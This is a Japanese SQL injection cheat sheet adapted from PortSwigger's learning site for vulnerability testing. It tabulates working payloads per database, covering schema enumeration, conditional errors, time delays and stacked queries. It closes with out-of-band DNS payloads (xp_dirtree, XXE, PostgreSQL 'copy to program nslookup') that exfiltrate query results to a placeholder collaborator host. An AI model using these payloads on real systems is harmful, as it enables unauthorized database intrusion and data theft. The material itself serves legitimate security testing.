SQLインジェクション チートシート


# 概要
SQLインジェクションを使った脆弱性診断を実行する際に、しばしば発生する便利な構文のDBMS別まとめになります。
日本語で知りたい人や単純に見返す機会も多いと思ったので、[PortSwiggerの学習サイト](https://portswigger.net/web-security/dashboard)から翻訳・引用・加筆修正しました。


# 文字列の連結
複数の文字を結合させて、一つの文字列にすることができます。
| DBMS | 構文 |
|:-:|:-|
| Oracle  |  `'foo'\|\|'bar'` |
| Microsoft  | `'foo'+'bar'`  |
| PostgreSQL  | `'foo'\|\|'bar'`  |
| MySQL | `'foo' 'bar'`(文字列間のスペースに注意)<br>`CONCAT('foo','bar')`  |

# サブストリング（文字の切り出し）
指定番目の文字から指定した文字数分の文字列を抽出できます。下記の例だと *ba* を返します。
| DBMS | 構文 |
|:-:|:-|
| Oracle  | `SUBSTR('foobar', 4, 2)`  |
| Microsoft  | `SUBSTRING('foobar', 4, 2)`  |
| PostgreSQL  | `SUBSTRING('foobar', 4, 2)`  |
| MySQL | `SUBSTRING('foobar', 4, 2)`  |

# コメント
コメントを使用してクエリを切り捨て、入力に続く元のクエリの一部を削除できます。
| DBMS | 構文 |
|:-:|:-|
| Oracle  | `--comment`  |
| Microsoft  | 	`--comment`<br>`/*comment*/`  |
| PostgreSQL  |  `--comment`<br>`/*comment*/` |
| MySQL |  `#comment`<br>`-- comment`(スペースに注意)<br>`/*comment*/` |

# データベースのバージョン
データベースをクエリして、そのタイプとバージョンを取得できます。この情報は、より複雑な攻撃を作成する時に役立ちます。
| DBMS | 構文 |
|:-:|:-|
| Oracle  |  `SELECT banner FROM v$version`<br>`SELECT version FROM v$instance` |
| Microsoft  | `SELECT @@version`  |
| PostgreSQL  |  `SELECT version()` |
| MySQL |  `SELECT @@version` |

# データベースの内容
データベースに存在するテーブルと、それらのテーブルに含まれる列を一覧できます。
| DBMS | 構文 |
|:-:|:-|
| Oracle  |  `SELECT * FROM all_tables`<br>`SELECT * FROM all_tab_columns WHERE table_name = 'テーブル名'` |
| Microsoft  |  `SELECT * FROM information_schema.tables`<br>`SELECT * FROM information_schema.columns WHERE table_name = 'テーブル名'` |
| PostgreSQL  |  `SELECT * FROM information_schema.tables`<br>`SELECT * FROM information_schema.columns WHERE table_name = 'テーブル名'` |
| MySQL |  `SELECT * FROM information_schema.tables`<br>`SELECT * FROM information_schema.columns WHERE table_name = 'テーブル名'` |

# 条件付きエラー
単一の真偽値条件をテストし、条件がtrueの場合、データベースエラーをトリガーできます。
| DBMS | 構文 |
|:-:|:-|
| Oracle  |  `SELECT CASE WHEN (条件) THEN TO_CHAR(1/0) ELSE NULL END FROM dual` |
| Microsoft  |  `SELECT CASE WHEN (条件) THEN 1/0 ELSE NULL END` |
| PostgreSQL  |  `1 = (SELECT CASE WHEN (条件) THEN CAST(1/0 AS INTEGER) ELSE NULL END)` |
| MySQL |  `SELECT IF(条件,(SELECT table_name FROM information_schema.tables),'a')` |

# バッチクエリ（スタッククエリ）
バッチされたクエリを使用して、複数のクエリを連続して実行できます。後続のクエリが実行されている間、結果はアプリケーションに返されないことに注意してください。従って、この手法は主に、2番目のクエリを使用してDNSルックアップ、条件付きエラー、または時間遅延をトリガーできるブラインド脆弱性に関連して使用されます。
| DBMS | 構文 |
|:-:|:-|
| Oracle  |  `バッチクエリのサポート対象外` |
| Microsoft  |  `クエリ1; クエリ2` |
| PostgreSQL  |  `クエリ1; クエリ2` |
| MySQL |  `クエリ1; クエリ2` |

:::note warn
MySQLでは、バッチクエリは通常、SQLインジェクションには使用できません。ただし、ターゲットアプリケーションが特定のPHPまたはPython APIを使用してMySQLデータベースと通信する場合、これが可能になることがあります。
:::

# 時間遅延
クエリが処理されると、データベースに時間遅延が発生する可能性があります。
以下は、無条件の10秒の時間遅延を引き起こします。
| DBMS | 構文 |
|:-:|:-|
| Oracle  |  `dbms_pipe.receive_message(('a'),10)` |
| Microsoft  |  `WAITFOR DELAY '0:0:10'` |
| PostgreSQL  |  `SELECT pg_sleep(10)` |
| MySQL |  `SELECT SLEEP(10)` |

# 条件付き時間遅延
単一の真偽値条件を判定し、条件がtrueの場合、時間遅延をトリガーできます。
| DBMS | 構文 |
|:-:|:-|
| Oracle  |  `SELECT CASE WHEN (条件) THEN 'a'\|\|dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual` |
| Microsoft  |  `IF (条件) WAITFOR DELAY '0:0:10'` |
| PostgreSQL  |  `SELECT CASE WHEN (条件) THEN pg_sleep(10) ELSE pg_sleep(0) END` |
| MySQL |  `SELECT IF(条件,SLEEP(10),'a')` |

# DNSルックアップ
**DNSルックアップ**－権威DNSサーバへ問合せしてIPアドレスからドメイン名を調べたり、ドメイン名からIPアドレスを調べること。
データベースに外部ドメインへのDNSルックアップを実行させることができます。これを行うには、[Burp Collaborator Client](https://portswigger.net/burp/documentation/desktop/tools/collaborator-client)を使用する必要があります。攻撃で使用する一意の**BURP-COLLABORATORサブドメイン**を生成し、Collaboratorサーバーをポーリングして、DNSルックアップが発生したことを確認します。
| DBMS | 構文 |
|:-:|:-|
| Oracle  |  DNSルックアップをトリガーするためにXML外部エンティティ(XXE)の脆弱性を活用します。 脆弱性は既にパッチされていますが、パッチされていないOracleのインストールプログラムが多数存在します。<br>`SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATORサブドメイン/"> %remote;]>'),'/l') FROM dual`<br><br>完全にパッチされたOracleインストールで動作しますが、管理者特権が必要です。<br>`SELECT UTL_INADDR.get_host_address('BURP-COLLABORATORサブドメイン')` |
| Microsoft  |  `exec master..xp_dirtree '//BURP-COLLABORATORサブドメイン/a'` |
| PostgreSQL  |  `copy (SELECT '') to program 'nslookup BURP-COLLABORATORサブドメイン'` |
| MySQL |  Windowsでのみ機能します。<br>`LOAD_FILE('\\\\BURP-COLLABORATORサブドメイン\\a')`<br>`SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATORサブドメイン\a'` |

# データ流出を伴うDNSルックアップ
注入されたクエリの結果を含む外部ドメインに対して、データベースにDNSルックアップを実行させることができます。これを行うには、[Burp Collaborator Client](https://portswigger.net/burp/documentation/desktop/tools/collaborator-client)を使用する必要があります。攻撃で使用する一意の**BURP-COLLABORATORサブドメイン**を生成してから、Collaboratorサーバーをポーリングして、埋め込み型データを含むDNSインタラクションの詳細を取得します。
| DBMS | 構文 |
|:-:|:-|
| Oracle  |  `SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'\|\|(SELECT YOUR-QUERY-HERE)\|\|'.BURP-COLLABORATORサブドメイン/"> %remote;]>'),'/l') FROM dual` |
| Microsoft  |  `declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATORサブドメイン/a"')` |
| PostgreSQL  |  `create OR replace function f() returns void as $$`<br>`declare c text;`<br>`declare p text;`<br>`begin`<br>`SELECT into p (SELECT YOUR-QUERY-HERE);`<br>`c := 'copy (SELECT '''') to program ''nslookup '\|\|p\|\|'.BURP-COLLABORATORサブドメイン''';`<br>`execute c;`<br>`END;`<br>`$$ language plpgsql security definer;`<br>`SELECT f();` |
| MySQL |  Windowsでのみ機能します。<br>`SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATORサブドメイン\a'` |